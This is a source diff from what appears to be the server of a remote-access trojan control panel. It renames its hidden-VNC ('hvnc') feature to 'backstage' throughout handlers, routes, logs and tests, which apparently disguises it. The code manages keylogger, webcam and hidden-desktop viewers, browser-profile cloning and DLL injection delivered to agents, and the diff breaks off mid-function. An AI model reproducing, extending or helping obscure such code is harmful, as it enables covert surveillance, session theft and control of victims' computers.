||||
handlebackstageDXGIStatus: (clientId: string, payload: any) => void;
|
||||
handlebackstageBrowserLaunchStatus: (clientId: string, payload: any) => void;
|
||||
handlebackstageWindowListResult: (clientId: string, payload: any) => void;
|
||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
|
||||
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
|
||||
@@ -251,7 +251,7 @@ type WsLifecycleDeps = {
|
||||
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
sendHVNCCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
sendbackstageCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
notifyConsoleClosed: (clientId: string, reason: string) => void;
|
||||
clearPendingNotificationScreenshots: (clientId: string) => void;
|
||||
clearClientPluginState: (clientId: string) => void;
|
||||
@@ -327,7 +327,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
|
||||
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
|
||||
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
|
||||
if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws);
|
||||
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
|
||||
if (role === "backstage_viewer") return deps.handlebackstageViewerOpen(ws);
|
||||
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
|
||||
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
|
||||
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
|
||||
@@ -377,7 +377,7 @@ export async function handleWebSocketMessage(
|
||||
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
|
||||
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
|
||||
if (socketRole === "webcam_viewer") return deps.handleWebcamViewerMessage(ws, message);
|
||||
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
|
||||
if (socketRole === "backstage_viewer") return deps.handlebackstageViewerMessage(ws, message);
|
||||
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
|
||||
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
|
||||
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
|
||||
@@ -641,7 +641,7 @@ export async function handleWebSocketMessage(
|
||||
}
|
||||
}
|
||||
deps.rdStreamingState.delete(resolvedId);
|
||||
deps.hvncStreamingState.delete(resolvedId);
|
||||
deps.backstageStreamingState.delete(resolvedId);
|
||||
deps.webcamStreamingState.delete(resolvedId);
|
||||
}
|
||||
|
||||
@@ -899,26 +899,26 @@ export async function handleWebSocketMessage(
|
||||
deps.handleWebcamDevices(client.id, payload);
|
||||
deps.notifyDashboard();
|
||||
break;
|
||||
case "hvnc_clone_progress":
|
||||
deps.handleHVNCCloneProgress(client.id, payload);
|
||||
case "backstage_clone_progress":
|
||||
deps.handlebackstageCloneProgress(client.id, payload);
|
||||
break;
|
||||
case "hvnc_lookup_result":
|
||||
deps.handleHVNCLookupResult(client.id, payload);
|
||||
case "backstage_lookup_result":
|
||||
deps.handlebackstageLookupResult(client.id, payload);
|
||||
break;
|
||||
case "hvnc_browser_check_result":
|
||||
deps.handleHVNCBrowserCheckResult(client.id, payload);
|
||||
case "backstage_browser_check_result":
|
||||
deps.handlebackstageBrowserCheckResult(client.id, payload);
|
||||
break;
|
||||
case "hvnc_installed_apps_result":
|
||||
deps.handleHVNCInstalledAppsResult(client.id, payload);
|
||||
case "backstage_installed_apps_result":
|
||||
deps.handlebackstageInstalledAppsResult(client.id, payload);
|
||||
break;
|
||||
case "hvnc_dxgi_status":
|
||||
deps.handleHVNCDXGIStatus(client.id, payload);
|
||||
case "backstage_dxgi_status":
|
||||
deps.handlebackstageDXGIStatus(client.id, payload);
|
||||
break;
|
||||
case "hvnc_browser_launch_status":
|
||||
deps.handleHVNCBrowserLaunchStatus(client.id, payload);
|
||||
case "backstage_browser_launch_status":
|
||||
deps.handlebackstageBrowserLaunchStatus(client.id, payload);
|
||||
break;
|
||||
case "hvnc_window_list_result":
|
||||
deps.handleHVNCWindowListResult(client.id, payload);
|
||||
case "backstage_window_list_result":
|
||||
deps.handlebackstageWindowListResult(client.id, payload);
|
||||
break;
|
||||
case "clipboard_content":
|
||||
deps.handleClipboardContent(client.id, payload);
|
||||
@@ -1028,26 +1028,26 @@ export function handleWebSocketClose(
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "hvnc_viewer") {
|
||||
if (role === "backstage_viewer") {
|
||||
deps.cleanupRdViewerP2P(ws);
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
|
||||
for (const [sid, sess] of sessionManager.getAllbackstageSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
removedClientId = sess.clientId;
|
||||
sessionManager.deleteHvncSession(sid);
|
||||
sessionManager.deletebackstageSession(sid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const stillViewing = sessionManager.hasHvncSessionsForClient(removedClientId);
|
||||
const stillViewing = sessionManager.hasbackstageSessionsForClient(removedClientId);
|
||||
if (!stillViewing) {
|
||||
const target = clientManager.getClient(removedClientId);
|
||||
if (target) {
|
||||
deps.sendHVNCCommand(target, "hvnc_stop", {});
|
||||
deps.sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" });
|
||||
deps.sendbackstageCommand(target, "backstage_stop", {});
|
||||
deps.sendbackstageCommand(target, "webrtc_stop", { kind: "backstage" });
|
||||
}
|
||||
deps.hvncStreamingState.delete(removedClientId);
|
||||
logger.debug(`[hvnc] cleaned up state for client ${removedClientId}`);
|
||||
deps.backstageStreamingState.delete(removedClientId);
|
||||
logger.debug(`[backstage] cleaned up state for client ${removedClientId}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
@@ -1131,7 +1131,7 @@ export function handleWebSocketClose(
|
||||
}
|
||||
}
|
||||
deps.rdStreamingState.delete(clientId);
|
||||
deps.hvncStreamingState.delete(clientId);
|
||||
deps.backstageStreamingState.delete(clientId);
|
||||
deps.webcamStreamingState.delete(clientId);
|
||||
stopRemoteDesktopRecording(clientId, "client disconnected");
|
||||
|
||||
|
||||
@@ -92,9 +92,9 @@ const clientViewerUpgradeRoutes: ClientViewerUpgradeRoute[] = [
|
||||
feature: "remote_desktop",
|
||||
},
|
||||
{
|
||||
pattern: /^\/api\/clients\/(.+)\/hvnc\/ws$/,
|
||||
role: "hvnc_viewer",
|
||||
feature: "hvnc",
|
||||
pattern: /^\/api\/clients\/(.+)\/backstage\/ws$/,
|
||||
role: "backstage_viewer",
|
||||
feature: "backstage",
|
||||
},
|
||||
{
|
||||
pattern: /^\/api\/clients\/(.+)\/webcam\/ws$/,
|
||||
|
||||
@@ -2,7 +2,7 @@ import type { ServerWebSocket } from "bun";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import type { SocketData } from "../sessions/types";
|
||||
|
||||
export type P2PKind = "desktop" | "hvnc" | "webcam" | "audio";
|
||||
export type P2PKind = "desktop" | "backstage" | "webcam" | "audio";
|
||||
|
||||
export type P2PSession = {
|
||||
viewer: ServerWebSocket<SocketData>;
|
||||
|
||||
+16
-16
@@ -5,13 +5,13 @@ import * as sessionManager from "../sessions/sessionManager";
|
||||
import type { SocketData } from "../sessions/types";
|
||||
import type { ClientInfo } from "../types";
|
||||
import {
|
||||
handleHVNCViewerMessage,
|
||||
handleHVNCViewerOpen,
|
||||
handlebackstageViewerMessage,
|
||||
handlebackstageViewerOpen,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
handleRemoteDesktopViewerOpen,
|
||||
hvncStreamingState,
|
||||
backstageStreamingState,
|
||||
rdStreamingState,
|
||||
} from "./ws-console-rd-hvnc";
|
||||
} from "./ws-console-rd-backstage";
|
||||
|
||||
type MockWs = {
|
||||
data: SocketData;
|
||||
@@ -73,11 +73,11 @@ afterEach(() => {
|
||||
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
|
||||
sessionManager.deleteRdSession(session.id);
|
||||
}
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
sessionManager.deleteHvncSession(session.id);
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
sessionManager.deletebackstageSession(session.id);
|
||||
}
|
||||
rdStreamingState.delete(clientId);
|
||||
hvncStreamingState.delete(clientId);
|
||||
backstageStreamingState.delete(clientId);
|
||||
clientManager.deleteClient(clientId);
|
||||
}
|
||||
clientIdsToCleanup.clear();
|
||||
@@ -158,14 +158,14 @@ describe("remote desktop viewer control", () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe("hvnc viewer control", () => {
|
||||
test("forwards hvnc_stop even when server stream state is stale", () => {
|
||||
const clientId = `hvnc-stale-stop-${Date.now().toString(36)}`;
|
||||
describe("backstage viewer control", () => {
|
||||
test("forwards backstage_stop even when server stream state is stale", () => {
|
||||
const clientId = `backstage-stale-stop-${Date.now().toString(36)}`;
|
||||
const { agentWs } = createClient(clientId);
|
||||
const viewer = createMockWs({ role: "hvnc_viewer", clientId });
|
||||
const viewer = createMockWs({ role: "backstage_viewer", clientId });
|
||||
|
||||
handleHVNCViewerOpen(viewer as any);
|
||||
hvncStreamingState.set(clientId, {
|
||||
handlebackstageViewerOpen(viewer as any);
|
||||
backstageStreamingState.set(clientId, {
|
||||
isStreaming: false,
|
||||
virtualMode: true,
|
||||
display: 0,
|
||||
@@ -175,11 +175,11 @@ describe("hvnc viewer control", () => {
|
||||
lastFps: 0,
|
||||
});
|
||||
|
||||
handleHVNCViewerMessage(viewer as any, JSON.stringify({ type: "hvnc_stop" }));
|
||||
handlebackstageViewerMessage(viewer as any, JSON.stringify({ type: "backstage_stop" }));
|
||||
|
||||
const commands = agentCommands(agentWs);
|
||||
expect(commands.filter((msg) => msg.commandType === "hvnc_stop")).toHaveLength(1);
|
||||
expect(commands.filter((msg) => msg.commandType === "backstage_stop")).toHaveLength(1);
|
||||
expect(commands.filter((msg) => msg.commandType === "webrtc_stop")).toHaveLength(1);
|
||||
expect(hvncStreamingState.get(clientId)?.isStreaming).toBe(false);
|
||||
expect(backstageStreamingState.get(clientId)?.isStreaming).toBe(false);
|
||||
});
|
||||
});
|
||||
+136
-136
@@ -57,7 +57,7 @@ function getInjectionDllBytes(): Uint8Array | null {
|
||||
}
|
||||
_cachedInjectionDll = new Uint8Array(readFileSync(_dllCachePath));
|
||||
_dllCacheMtimeMs = st.mtimeMs;
|
||||
logger.info(`[hvnc] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
|
||||
logger.info(`[backstage] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
|
||||
return _cachedInjectionDll;
|
||||
} catch {
|
||||
_dllCachePath = null;
|
||||
@@ -73,14 +73,14 @@ function getInjectionDllBytes(): Uint8Array | null {
|
||||
_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
|
||||
_dllCachePath = dllPath;
|
||||
_dllCacheMtimeMs = st.mtimeMs;
|
||||
logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
|
||||
logger.info(`[backstage] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
|
||||
return _cachedInjectionDll;
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
logger.warn(`[hvnc] injection DLL not found. Checked: ${candidates.join(", ")}`);
|
||||
logger.warn(`[backstage] injection DLL not found. Checked: ${candidates.join(", ")}`);
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -101,7 +101,7 @@ function getCaptureDllBytes(): Uint8Array | null {
|
||||
}
|
||||
_cachedCaptureDll = new Uint8Array(readFileSync(_captureDllCachePath));
|
||||
_captureDllCacheMtimeMs = st.mtimeMs;
|
||||
logger.info(`[hvnc] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
|
||||
logger.info(`[backstage] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
|
||||
return _cachedCaptureDll;
|
||||
} catch {
|
||||
_captureDllCachePath = null;
|
||||
@@ -117,7 +117,7 @@ function getCaptureDllBytes(): Uint8Array | null {
|
||||
_cachedCaptureDll = new Uint8Array(readFileSync(dllPath));
|
||||
_captureDllCachePath = dllPath;
|
||||
_captureDllCacheMtimeMs = st.mtimeMs;
|
||||
logger.info(`[hvnc] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
|
||||
logger.info(`[backstage] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
|
||||
return _cachedCaptureDll;
|
||||
} catch {
|
||||
continue;
|
||||
@@ -792,7 +792,7 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header
|
||||
return broadcastRemoteDesktopFrame(clientId, bytes, header);
|
||||
};
|
||||
|
||||
type HVNCStreamingState = {
|
||||
type backstageStreamingState = {
|
||||
isStreaming: boolean;
|
||||
virtualMode: boolean;
|
||||
display: number;
|
||||
@@ -802,11 +802,11 @@ type HVNCStreamingState = {
|
||||
lastFps: number;
|
||||
};
|
||||
|
||||
function defaultHVNCStreamingState(): HVNCStreamingState {
|
||||
function defaultbackstageStreamingState(): backstageStreamingState {
|
||||
return { isStreaming: false, virtualMode: false, display: 0, quality: 90, codec: "", maxFps: 120, lastFps: 0 };
|
||||
}
|
||||
|
||||
export const hvncStreamingState = new Map<string, HVNCStreamingState>();
|
||||
export const backstageStreamingState = new Map<string, backstageStreamingState>();
|
||||
export const webcamStreamingState = new Map<string, { isStreaming: boolean; deviceIndex: number; fps: number; useMax: boolean; quality: number; codec: string }>();
|
||||
|
||||
export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
@@ -850,10 +850,10 @@ export function handleWebcamDevices(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCCloneProgress(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
export function handlebackstageCloneProgress(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_clone_progress",
|
||||
type: "backstage_clone_progress",
|
||||
browser: String(payload.browser || ""),
|
||||
percent: Number(payload.percent) || 0,
|
||||
copiedBytes: Number(payload.copiedBytes) || 0,
|
||||
@@ -863,10 +863,10 @@ export function handleHVNCCloneProgress(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCLookupResult(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
export function handlebackstageLookupResult(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_lookup_result",
|
||||
type: "backstage_lookup_result",
|
||||
exe: String(payload.exe || ""),
|
||||
path: String(payload.path || ""),
|
||||
done: !!payload.done,
|
||||
@@ -874,22 +874,22 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCBrowserCheckResult(clientId: string, payload: any) {
|
||||
export function handlebackstageBrowserCheckResult(clientId: string, payload: any) {
|
||||
const browsers: Record<string, boolean> = {};
|
||||
if (payload.browsers && typeof payload.browsers === "object") {
|
||||
for (const [key, val] of Object.entries(payload.browsers)) {
|
||||
browsers[key] = !!val;
|
||||
}
|
||||
}
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_browser_check_result",
|
||||
type: "backstage_browser_check_result",
|
||||
browsers,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCInstalledAppsResult(clientId: string, payload: any) {
|
||||
export function handlebackstageInstalledAppsResult(clientId: string, payload: any) {
|
||||
const apps: Array<{ name: string; exePath: string; icon: string }> = [];
|
||||
if (Array.isArray(payload.apps)) {
|
||||
for (const app of payload.apps) {
|
||||
@@ -900,19 +900,19 @@ export function handleHVNCInstalledAppsResult(clientId: string, payload: any) {
|
||||
});
|
||||
}
|
||||
}
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_installed_apps_result",
|
||||
type: "backstage_installed_apps_result",
|
||||
apps,
|
||||
done: !!payload.done,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCDXGIStatus(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
export function handlebackstageDXGIStatus(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_dxgi_status",
|
||||
type: "backstage_dxgi_status",
|
||||
success: !!payload.success,
|
||||
gpuPid: Number(payload.gpuPid) || 0,
|
||||
message: String(payload.message || ""),
|
||||
@@ -920,10 +920,10 @@ export function handleHVNCDXGIStatus(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
export function handlebackstageBrowserLaunchStatus(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_browser_launch_status",
|
||||
type: "backstage_browser_launch_status",
|
||||
browser: String(payload.browser || ""),
|
||||
step: String(payload.step || ""),
|
||||
success: !!payload.success,
|
||||
@@ -932,7 +932,7 @@ export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCWindowListResult(clientId: string, payload: any) {
|
||||
export function handlebackstageWindowListResult(clientId: string, payload: any) {
|
||||
const windows: Array<{
|
||||
title: string; x: number; y: number; width: number; height: number;
|
||||
pid: number; processName: string; monitor: number;
|
||||
@@ -968,8 +968,8 @@ export function handleHVNCWindowListResult(clientId: string, payload: any) {
|
||||
});
|
||||
}
|
||||
}
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, { type: "hvnc_window_list_result", windows, monitors });
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, { type: "backstage_window_list_result", windows, monitors });
|
||||
}
|
||||
}
|
||||
|
||||
@@ -977,8 +977,8 @@ export function handleClipboardContent(clientId: string, payload: any) {
|
||||
const text = String(payload.text || "");
|
||||
const source = String(payload.source || "");
|
||||
if (!text) return;
|
||||
if (source === "hvnc") {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
if (source === "backstage") {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
|
||||
}
|
||||
} else {
|
||||
@@ -1110,7 +1110,7 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw:
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
export function handlebackstageViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId, userId, userRole } = ws.data;
|
||||
if (userId !== undefined && userRole && !canUserAccessClient(userId, userRole as any, clientId)) {
|
||||
ws.close(1008, "Forbidden: client access denied");
|
||||
@@ -1120,7 +1120,7 @@ export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
ws.data.sessionId = sessionId;
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.addHvncSession(session);
|
||||
sessionManager.addbackstageSession(session);
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
@@ -1129,8 +1129,8 @@ export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
safeSendViewer(ws, { type: "status", status: "connecting", sessionId });
|
||||
}
|
||||
|
||||
function notifyHVNCStatus(clientId: string, status: string, reason?: string) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
function notifybackstageStatus(clientId: string, status: string, reason?: string) {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "status",
|
||||
status,
|
||||
@@ -1140,7 +1140,7 @@ function notifyHVNCStatus(clientId: string, status: string, reason?: string) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload) return;
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
@@ -1151,27 +1151,27 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
return;
|
||||
}
|
||||
|
||||
const state = hvncStreamingState.get(clientId) || defaultHVNCStreamingState();
|
||||
const state = backstageStreamingState.get(clientId) || defaultbackstageStreamingState();
|
||||
|
||||
logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`);
|
||||
logger.debug(`[backstage] inbound viewer msg type=${payload.type} client=${clientId}`);
|
||||
switch (payload.type) {
|
||||
case "hvnc_start":
|
||||
case "backstage_start":
|
||||
{
|
||||
const virtualMode = (payload as any).virtual_mode === true || (payload as any).hidden_mode === true;
|
||||
if (state.isStreaming && state.virtualMode !== virtualMode) {
|
||||
sendHVNCCommand(target, "hvnc_stop", {});
|
||||
sendbackstageCommand(target, "backstage_stop", {});
|
||||
state.isStreaming = false;
|
||||
logger.debug(`[hvnc] restarting stream to change virtual_mode=${state.virtualMode} -> ${virtualMode}`);
|
||||
logger.debug(`[backstage] restarting stream to change virtual_mode=${state.virtualMode} -> ${virtualMode}`);
|
||||
}
|
||||
if (!state.isStreaming) {
|
||||
if ((payload as any).webrtc === true) {
|
||||
const streamPath = webrtcStreamPathFor(clientId, "hvnc");
|
||||
const streamPath = webrtcStreamPathFor(clientId, "backstage");
|
||||
const token = issueWebrtcPublishToken(clientId);
|
||||
sendHVNCCommand(target, "webrtc_publish", {
|
||||
sendbackstageCommand(target, "webrtc_publish", {
|
||||
streamPath,
|
||||
whipPath: `/api/webrtc/${streamPath}/whip`,
|
||||
token,
|
||||
kind: "hvnc",
|
||||
kind: "backstage",
|
||||
hasVideo: true,
|
||||
hasAudio: false,
|
||||
});
|
||||
@@ -1181,149 +1181,149 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
whepPath: `/api/webrtc/${streamPath}/whep`,
|
||||
});
|
||||
}
|
||||
sendHVNCCommand(target, "hvnc_set_fps", { fps: clampDesktopFps(state.maxFps) });
|
||||
sendHVNCCommand(target, "hvnc_start", {
|
||||
sendbackstageCommand(target, "backstage_set_fps", { fps: clampDesktopFps(state.maxFps) });
|
||||
sendbackstageCommand(target, "backstage_start", {
|
||||
autoStartExplorer: false,
|
||||
...(virtualMode ? { virtual_mode: true } : {}),
|
||||
});
|
||||
state.isStreaming = true;
|
||||
state.virtualMode = virtualMode;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
logger.debug(`[hvnc] started streaming for client ${clientId} (virtual_mode=${virtualMode})`);
|
||||
backstageStreamingState.set(clientId, state);
|
||||
logger.debug(`[backstage] started streaming for client ${clientId} (virtual_mode=${virtualMode})`);
|
||||
} else {
|
||||
logger.debug(`[hvnc] ignoring duplicate hvnc_start for client ${clientId}`);
|
||||
logger.debug(`[backstage] ignoring duplicate backstage_start for client ${clientId}`);
|
||||
}
|
||||
}
|
||||
break;
|
||||
case "hvnc_stop": {
|
||||
const otherHvncViewers = sessionManager.getHvncSessionsForClient(clientId)
|
||||
case "backstage_stop": {
|
||||
const otherbackstageViewers = sessionManager.getbackstageSessionsForClient(clientId)
|
||||
.filter(s => s.id !== ws.data.sessionId);
|
||||
if (otherHvncViewers.length === 0) {
|
||||
sendHVNCCommand(target, "hvnc_stop", {});
|
||||
sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" });
|
||||
if (otherbackstageViewers.length === 0) {
|
||||
sendbackstageCommand(target, "backstage_stop", {});
|
||||
sendbackstageCommand(target, "webrtc_stop", { kind: "backstage" });
|
||||
state.isStreaming = false;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
logger.debug(`[hvnc] stopped streaming for client ${clientId}`);
|
||||
backstageStreamingState.set(clientId, state);
|
||||
logger.debug(`[backstage] stopped streaming for client ${clientId}`);
|
||||
} else {
|
||||
logger.debug(`[hvnc] ignoring hvnc_stop for client ${clientId} - ${otherHvncViewers.length} other viewer(s) still active`);
|
||||
logger.debug(`[backstage] ignoring backstage_stop for client ${clientId} - ${otherbackstageViewers.length} other viewer(s) still active`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "hvnc_select_display": {
|
||||
case "backstage_select_display": {
|
||||
const newDisplay = Number(payload.display) || 0;
|
||||
if (state.display !== newDisplay) {
|
||||
logger.debug(`[hvnc] changing display from ${state.display} to ${newDisplay}`);
|
||||
sendHVNCCommand(target, "hvnc_select_display", { display: newDisplay });
|
||||
logger.debug(`[backstage] changing display from ${state.display} to ${newDisplay}`);
|
||||
sendbackstageCommand(target, "backstage_select_display", { display: newDisplay });
|
||||
state.display = newDisplay;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
backstageStreamingState.set(clientId, state);
|
||||
} else {
|
||||
logger.debug(`[hvnc] ignoring duplicate display select ${newDisplay}`);
|
||||
logger.debug(`[backstage] ignoring duplicate display select ${newDisplay}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "hvnc_set_quality": {
|
||||
case "backstage_set_quality": {
|
||||
const newQuality = Number(payload.quality) || 90;
|
||||
const newCodec = String(payload.codec || "").toLowerCase();
|
||||
sendHVNCCommand(target, "hvnc_set_quality", { quality: newQuality, codec: newCodec });
|
||||
sendbackstageCommand(target, "backstage_set_quality", { quality: newQuality, codec: newCodec });
|
||||
if (state.quality !== newQuality || state.codec !== newCodec) {
|
||||
state.quality = newQuality;
|
||||
state.codec = newCodec;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
logger.debug(`[hvnc] set quality=${newQuality} codec=${newCodec || "(default)"}`);
|
||||
backstageStreamingState.set(clientId, state);
|
||||
logger.debug(`[backstage] set quality=${newQuality} codec=${newCodec || "(default)"}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "hvnc_request_keyframe":
|
||||
case "backstage_request_keyframe":
|
||||
if (state.isStreaming) {
|
||||
sendHVNCCommand(target, "hvnc_request_keyframe", {
|
||||
sendbackstageCommand(target, "backstage_request_keyframe", {
|
||||
reason: String((payload as any).reason || "viewer_request"),
|
||||
});
|
||||
}
|
||||
break;
|
||||
case "hvnc_set_fps": {
|
||||
case "backstage_set_fps": {
|
||||
const newMaxFps = clampDesktopFps((payload as any).fps);
|
||||
sendHVNCCommand(target, "hvnc_set_fps", { fps: newMaxFps });
|
||||
sendbackstageCommand(target, "backstage_set_fps", { fps: newMaxFps });
|
||||
if (state.maxFps !== newMaxFps) {
|
||||
state.maxFps = newMaxFps;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
logger.debug(`[hvnc] set target fps=${newMaxFps}`);
|
||||
backstageStreamingState.set(clientId, state);
|
||||
logger.debug(`[backstage] set target fps=${newMaxFps}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "hvnc_enable_mouse":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_mouse", { enabled: !!payload.enabled });
|
||||
case "backstage_enable_mouse":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_mouse", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_enable_keyboard":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_keyboard", { enabled: !!payload.enabled });
|
||||
case "backstage_enable_keyboard":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_keyboard", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_enable_cursor":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled });
|
||||
case "backstage_enable_cursor":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_cursor", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_enable_dxgi":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_dxgi", { enabled: !!payload.enabled });
|
||||
case "backstage_enable_dxgi":
|
||||
